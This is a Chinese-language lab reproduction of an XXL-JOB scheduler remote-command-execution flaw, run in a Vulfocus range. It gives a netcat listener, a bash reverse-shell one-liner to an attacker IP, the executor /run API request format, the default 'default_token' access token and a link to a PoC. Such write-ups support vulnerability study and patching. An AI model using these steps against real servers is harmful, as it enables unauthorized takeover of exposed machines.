XXL-JOB远程命令执行
XXL-JOB是一个轻量级分布式任务调度平台,用于实现大规模任务的调度和执行。
先前版本的XXL-JOB默认情况下API接口没有配置认证措施,现已加入accessToken,但公网仍然有大量使用默认token的机器。未授权的攻击者可构造恶意请求,触发反序列化,造成远程执行命令,直接控制服务器。
老版本复现
老版本没有添加header中的token认证,可以直接RCE
使用Vulfocus提供的靶场环境,flag
位于/tmp
目录下
攻击机nc监听8888端口nc -lvn 8888
靶机执行/bin/bash -i >& /dev/tcp/172.17.0.1/8888 0>&1
反弹shell
根据文档给出的执行器API,构造如下请求
成功反弹shell,执行命令获取flag
文档地址
https://www.xuxueli.com/xxl-job/
说明:触发任务执行
------
地址格式:{执行器内嵌服务根地址}/run
Header:
XXL-JOB-ACCESS-TOKEN : {请求令牌}
请求数据格式如下,放置在 RequestBody 中,JSON格式:
{
"jobId":1, // 任务ID
"executorHandler":"demoJobHandler", // 任务标识
"executorParams":"demoJobHandler", // 任务参数
"executorBlockStrategy":"COVER_EARLY", // 任务阻塞策略,可选值参考 com.xxl.job.core.enums.ExecutorBlockStrategyEnum
"executorTimeout":0, // 任务超时时间,单位秒,大于零时生效
"logId":1, // 本次调度日志ID
"logDateTime":1586629003729, // 本次调度日志时间
"glueType":"BEAN", // 任务模式,可选值参考 com.xxl.job.core.glue.GlueTypeEnum
"glueSource":"xxx", // GLUE脚本代码
"glueUpdatetime":1586629003727, // GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新
"broadcastIndex":0, // 分片参数:当前分片
"broadcastTotal":0 // 分片参数:总分片
}
响应数据格式:
{
"code": 200, // 200 表示正常、其他失败
"msg": null // 错误提示消息
}
默认token
配置文件位于/xxl-job-admin/src/main/resources/application.properties
默认token的值xxl.job.accessToken=default_token
在老版基础上添加一个XXL-JOB-ACCESS-TOKEN: default_token
的header即可实现RCE
PoC
老版PoC, 需要自行修改代码添加header: https://github.com/mrknow001/xxl-job-rce